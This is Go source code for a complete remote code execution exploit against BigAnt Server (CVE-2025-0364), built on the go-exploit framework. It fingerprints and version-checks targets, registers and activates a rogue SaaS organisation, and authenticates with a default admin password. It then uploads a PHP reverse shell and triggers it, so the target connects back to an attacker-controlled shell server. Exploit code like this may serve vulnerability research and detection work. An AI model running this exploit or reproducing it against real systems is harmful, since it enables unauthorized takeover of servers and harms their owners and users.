package main import ( "fmt" "regexp" "strings" "time" "github.com/Masterminds/semver" "github.com/vulncheck-oss/go-exploit" "github.com/vulncheck-oss/go-exploit/c2" "github.com/vulncheck-oss/go-exploit/config" "github.com/vulncheck-oss/go-exploit/output" "github.com/vulncheck-oss/go-exploit/payload/reverse" "github.com/vulncheck-oss/go-exploit/protocol" "github.com/vulncheck-oss/go-exploit/random" ) type BigAntSaaSRegRCE struct{} // The ThinkPHP framework used here will ignore anything prepended to the paths. var ( versionLeakPage = `/index.php/Ms/Public/about.html` saasRegistrationLanding = `/index.php/Home/Saas/reg_email.html` saasCaptchaPNG = `/index.php/Home/Public/verify` saasRegistration = `/index.php/Home/Saas/reg_saas` // POST saasSetCookie = `/index.php/Home/Login/index.html` saasGetSSID = `/index.php/Demo/Api/index.html` saasActivate = `/index.php/Home/Saas/reg_activation` // POST saasAddinAuth = `/index.php/Addin/Login/login_post.html` // POST saasAddinGetPath = `/Addin/pan/root.html` saasAddinUploadPHP = `/index.php/Pan/upload/upload/clientid/1.html?flag=input&isRename=0` // POST multipart saasAddinTriggerPHP = `/data/%s/pan/%s/%s/%s` // Example: /data/122C8BFA-BD74-9668-BE31-EA159FB2C437/pan/5769ED19-25A9-57BB-A815-724E1E3B68FC/2025-01-08/test2.php. ) var ( captchaHashRegex = regexp.MustCompile(`name="__hash__" content="([a-f0-9]+_[a-f0-9]+)" />`) addinRootIDRegex = regexp.MustCompile(`
  • BigAnt Admin `) { return false } return true } func (sploit BigAntSaaSRegRCE) CheckVersion(conf *config.Config) exploit.VersionCheckType { url := protocol.GenerateURL(conf.Rhost, conf.Rport, conf.SSL, versionLeakPage) resp, body, ok := protocol.HTTPSendAndRecv("GET", url, "") if !ok || resp == nil { return exploit.Unknown } if resp.StatusCode != 200 || !strings.Contains(body, ``) { return exploit.Unknown } res := regexp.MustCompile(`Version\s+
    \s+(\d+\.\d+\.\d+)\s+
    `).FindStringSubmatch(body) if len(res) == 0 { return exploit.Unknown } version := res[1] exploit.StoreVersion(conf, version) semVersion, err := semver.NewVersion(version) if err != nil { output.PrintError(err.Error()) return exploit.Unknown } vulnVersions, err := semver.NewConstraint("<= 5.6.06") if err != nil { output.PrintDebug(err.Error()) return exploit.Unknown } if !vulnVersions.Check(semVersion) { return exploit.NotVulnerable } return exploit.Vulnerable } func getSaaSRegistration(conf *config.Config) (string, string, string, bool) { url := protocol.GenerateURL(conf.Rhost, conf.Rport, conf.SSL, saasRegistrationLanding) // Do not cache, we need fresh requests each time resp, body, ok := protocol.HTTPSendAndRecv("GET", url, "") if !ok || resp == nil { output.PrintfError("RunExploit failed, the required registration page needed for exploitation is not available: resp=%#v body=%q", resp, body) return "", "", "", false } if resp.StatusCode != 200 || !strings.Contains(body, `
    Company Register
    `) { output.PrintfError("RunExploit failed, the required registration page needed for exploitation is not available: resp=%#v body=%q", resp, body) return "", "", "", false } matches := captchaHashRegex.FindStringSubmatch(body) if len(matches) < 2 { output.PrintError("Could not find CAPTCHA hashes in request") return "", "", "", false } // check above should handle nil case hash := matches[1] url = protocol.GenerateURL(conf.Rhost, conf.Rport, conf.SSL, saasCaptchaPNG) session := "" for _, cookie := range resp.Cookies() { if cookie.Name == "PHPSESSID" { // .String() can't be used since it adds path session = cookie.Value } } if session == "" { output.PrintError("Session value is expected") return "", "", "", false } return hash, session, url, true } func registerSaaSOrg(name, email, password string, conf *config.Config) bool { url := protocol.GenerateURL(conf.Rhost, conf.Rport, conf.SSL, saasRegistration) headers := map[string]string{ "Cookie": "PHPSESSID=" + conf.GetStringFlag("captcha-session") + ";", "Content-Type": "application/x-www-form-urlencoded", } params := map[string]string{ "saas_showname": name, "saas_name": name, "saas_pwd": password, "org_email": email, "verify": strings.ToUpper(conf.GetStringFlag("captcha")), "__hash__": conf.GetStringFlag("captcha-hash"), } // Needs double, so just prepend __hash_ twice paramString := protocol.CreateRequestParams(params) + "&__hash__=" + conf.GetStringFlag("captcha-hash") resp, _, ok := protocol.HTTPSendAndRecvWithHeaders("POST", url, paramString, headers) if resp == nil { return false } // Response always returns a 200 without content in my tests and has no indication of success // beyond some timing differences. if resp.StatusCode != 200 { return false } return ok } func setSessionSaaSOrg(org string, conf *config.Config) (string, bool) { url := protocol.GenerateURL(conf.Rhost, conf.Rport, conf.SSL, saasSetCookie) headers := map[string]string{ "Cookie": "saas=" + org, } resp, body, ok := protocol.HTTPSendAndRecvWithHeaders("GET", url, "", headers) if !ok || resp == nil { output.PrintfError("RunExploit failed, the required login page needed for exploitation is not available: resp=%#v body=%q", resp, body) return "", false } if resp.StatusCode != 200 { output.PrintfError("RunExploit failed, the required login page needed for exploitation is not available: resp=%#v body=%q", resp, body) return "", false } for _, cookie := range resp.Cookies() { if cookie.Name == "PHPSESSID" { return cookie.Value, true } } return "", false } func getSaaSIDFromDemo(session, org string, conf *config.Config) (string, bool) { url := protocol.GenerateURL(conf.Rhost, conf.Rport, conf.SSL, saasGetSSID) headers := map[string]string{ "Cookie": "PHPSESSID=" + session + "; saas=" + org + ";", } resp, body, ok := protocol.HTTPSendAndRecvWithHeaders("GET", url, "", headers) if !ok || !strings.Contains(body, `user/add【新增人员】`) { output.PrintfError("RunExploit failed, the required demo page needed for exploitation is not available: resp=%#v", resp) return "", false } matches := demoSSIDRegex.FindStringSubmatch(body) // There will be lots for these (81 in my tests) if len(matches) < 2 { output.PrintError("Could not find demo SSID hashes in request") return "", false } return matches[1], true } func activateSaaSOrg(session, ssid string, conf *config.Config) bool { url := protocol.GenerateURL(conf.Rhost, conf.Rport, conf.SSL, saasActivate) headers := map[string]string{ "Cookie": "PHPSESSID=" + session + ";", } params := map[string]string{ "saas_id": ssid, } resp, body, ok := protocol.HTTPSendAndRecvURLEncodedParamsAndHeaders("POST", url, params, headers) if !ok || resp == nil { output.PrintfError("RunExploit failed, the org activation failed: resp=%#v", resp) return false } if resp.StatusCode != 200 { output.PrintfError("RunExploit failed, the org activation failed: resp=%#v", resp) return false } if !strings.Contains(body, `

    Activate successfully

    `) { output.PrintfError("Activation of the organization failed: body=%s", body) return false } return true } func authenticateAddin(session, name, password string, conf *config.Config) bool { url := protocol.GenerateURL(conf.Rhost, conf.Rport, conf.SSL, saasAddinAuth) headers := map[string]string{ "Cookie": "PHPSESSID=" + session + "; saas=" + name + ";", } params := map[string]string{ "saas": name, "account": "admin", "password": password, "to": "addin", "referer": "", "submit": "", } resp, body, ok := protocol.HTTPSendAndRecvURLEncodedParamsAndHeaders("POST", url, params, headers) if !ok || resp == nil { output.PrintfError("RunExploit failed, the addin authentication failed: resp=%#v", resp) return false } if resp.StatusCode != 200 { output.PrintfError("RunExploit failed, the addin authentication failed: resp=%#v", resp) return false } if !strings.Contains(body, `

    登入成功!载入中...

    `) { output.PrintfError("RunExploit failed, the addin authentication failed: body=%s", body) return false } return true } func getAddinPath(session, org string, conf *config.Config) (string, bool) { url := protocol.GenerateURL(conf.Rhost, conf.Rport, conf.SSL, saasAddinGetPath) headers := map[string]string{ "Cookie": "PHPSESSID=" + session + "; saas=" + org + ";", } resp, body, ok := protocol.HTTPSendAndRecvWithHeaders("GET", url, "", headers) if !ok || resp == nil { output.PrintfError("RunExploit failed, the addin page visit failed: resp=%#v", resp) return "", false } if resp.StatusCode != 200 { output.PrintfError("RunExploit failed, the addin page visit failed: resp=%#v", resp) return "", false } matches := addinRootIDRegex.FindStringSubmatch(body) if len(matches) < 2 { output.PrintError("Could not find the root UUID for the addin") return "", false } return matches[1], true } func uploadPayload(session, name, root, orgSSID, filename, generated string, conf *config.Config) (string, bool) { url := protocol.GenerateURL(conf.Rhost, conf.Rport, conf.SSL, saasAddinUploadPHP) form, w := protocol.MultipartCreateForm() protocol.MultipartAddFile(w, "file_input[]", filename, "application/x-php", generated) protocol.MultipartAddField(w, "root_id", root) protocol.MultipartAddField(w, "folder_id", "0") protocol.MultipartAddField(w, "folder_path_id", "") protocol.MultipartAddField(w, "folder_path_name", "") protocol.MultipartAddField(w, "user_id", "1") protocol.MultipartAddField(w, "user_name", "System Admin") protocol.MultipartAddField(w, "saas_id", orgSSID) protocol.MultipartAddField(w, "saas_dbname", "antdbms_"+name) protocol.MultipartAddField(w, "client_id", "1") protocol.MultipartAddField(w, "platform", "phone") protocol.MultipartAddField(w, "isRename", "1") w.Close() headers := map[string]string{ "Content-Type": w.FormDataContentType(), "Cookie": "PHPSESSID=" + session + "; saas=" + name + ";", } resp, body, ok := protocol.HTTPSendAndRecvWithHeaders("POST", url, form.String(), headers) if !ok || resp == nil { output.PrintfError("RunExploit failed, the addin upload failed: resp=%#v", resp) return "", false } if resp.StatusCode != 200 { output.PrintfError("RunExploit failed, the addin upload failed: resp=%#v body=%s", resp, body) return "", false } if strings.Contains(body, filename) { serverDate, err := time.Parse(time.RFC1123, resp.Header.Get("Date")) if err != nil { output.PrintfDebug("Date parse error: %s", err.Error()) } if serverDate.IsZero() { serverDate = time.Now() } return serverDate.Format("2006-01-02"), true } return "", false } func triggerPayload(orgSSID, root, date, filename string, conf *config.Config) bool { url := protocol.GenerateURL(conf.Rhost, conf.Rport, conf.SSL, fmt.Sprintf(saasAddinTriggerPHP, orgSSID, root, date, filename)) output.PrintfStatus("Requesting final payload at: %s", url) _, _, ok := protocol.HTTPSendAndRecv("GET", url, "") return ok } func (sploit BigAntSaaSRegRCE) RunExploit(conf *config.Config) bool { // Steps for exploitation: // // 1. Get the CAPTCHA and CSRF tokens // 2. Solve CAPTCHA manually // 3. Register a new SaaS organization with 1 & 2 with generated settings, save cookies // 4. In a new session, request the login page with a `saas=` set to the new organization in 3 // 5. Use the session cookie from 4 with the saas cookie still set to request the demo page that // displays SaaS UUID // 6. Activate the registered organization with the UUID in 5 // 7. Authenticate to the "Cloud Drive" page with the `admin:123456` account with the new org // 8. Get the Cloud Drive root IDs, UUIDs, and path information // 9. Upload a PHP reverse shell, note the paths and upload dates // 10. Trigger the PHP shell with the paths without auth if conf.GetStringFlag("captcha") == "" || conf.GetStringFlag("captcha-hash") == "" || conf.GetStringFlag("captcha-session") == "" { output.PrintStatus("CAPTCHA flags not set, retrieving captcha-hash") hash, session, url, ok := getSaaSRegistration(conf) if !ok { return false } output.PrintfStatus("Open the following page in a browser and solve the CAPTCHA: %s", url) output.PrintfStatus("Solve CAPTCHA and pass the following flags to this exploit: `-captcha-hash %s -captcha-session %s -captcha `", hash, session) // Still return false return false } name := strings.ToUpper(random.RandLetters(6)) email := strings.ToLower(random.RandLetters(4) + `@` + random.RandLetters(8) + `.com`) password := conf.GetStringFlag("password") if password == "" { password = random.RandLetters(10) output.PrintfStatus("Password that will be used for authentication: %s", password) } output.PrintfStatus("Registering SaaS org: %s (%s) with password: %s", name, email, password) ok := registerSaaSOrg(name, email, password, conf) if !ok { return false } // Sets the SaaS org in a new session, this is necessary to get the UUID of the correct SaaS org // and if this isn't done it will always set the session to the first SaaS org in the database, // which is not a retrievable value by name. output.PrintStatus("Getting new PHP session and pinning the SaaS org to the session") orgSession, ok := setSessionSaaSOrg(name, conf) if !ok { return false } output.PrintfStatus("Retrieving org SSID from demo page with session %s", orgSession) orgSSID, ok := getSaaSIDFromDemo(orgSession, name, conf) if !ok { return false } output.PrintfStatus("Retrieved SSID for %s: %s", name, orgSSID) output.PrintStatus("Activating SaaS organization") ok = activateSaaSOrg(orgSession, orgSSID, conf) if !ok { return false } output.PrintStatus("Authenticating to the addin SaaS admin") ok = authenticateAddin(orgSession, name, password, conf) if !ok { return false } output.PrintStatus("Visiting SaaS addin cloud drive page") rootID, ok := getAddinPath(orgSession, name, conf) if !ok { return false } output.PrintfStatus("Got cloud drive root path UUID: %s", rootID) generated, ok := generatePayload(conf) if !ok { return false } filename := random.RandLetters(10) + ".php" output.PrintfStatus("Attempting to upload `%s` to cloud drive addin", filename) date, ok := uploadPayload(orgSession, name, rootID, orgSSID, filename, generated, conf) if !ok { return false } output.PrintStatus("Attempting to trigger final payload, timeout is expected after callback") return triggerPayload(orgSSID, rootID, date, filename, conf) } func main() { supportedC2 := []c2.Impl{ c2.SSLShellServer, c2.SimpleShellServer, } conf := config.NewRemoteExploit( config.ImplementedFeatures{AssetDetection: true, VersionScanning: true, Exploitation: true}, config.CodeExecution, supportedC2, "Bigantsoft", []string{"Bigant Server"}, []string{"cpe:2.3:a:bigantsoft:bigant_server"}, "CVE-2025-0364", "HTTP", 8000) conf.CreateStringFlag("captcha", "", "The registration page CAPTCHA value, if not set it will be retrieved along with the CAPTCHA image") conf.CreateStringFlag("captcha-hash", "", "The registration page CAPTCHA hash-id, if not set it will be retrieved along with the CAPTCHA image") conf.CreateStringFlag("captcha-session", "", "The registration session for CAPTCHA, if not set it will be retrieved along with the CAPTCHA image") conf.CreateStringFlag("password", "", "The password to set for the created administrator") sploit := BigAntSaaSRegRCE{} exploit.RunProgram(sploit, conf) }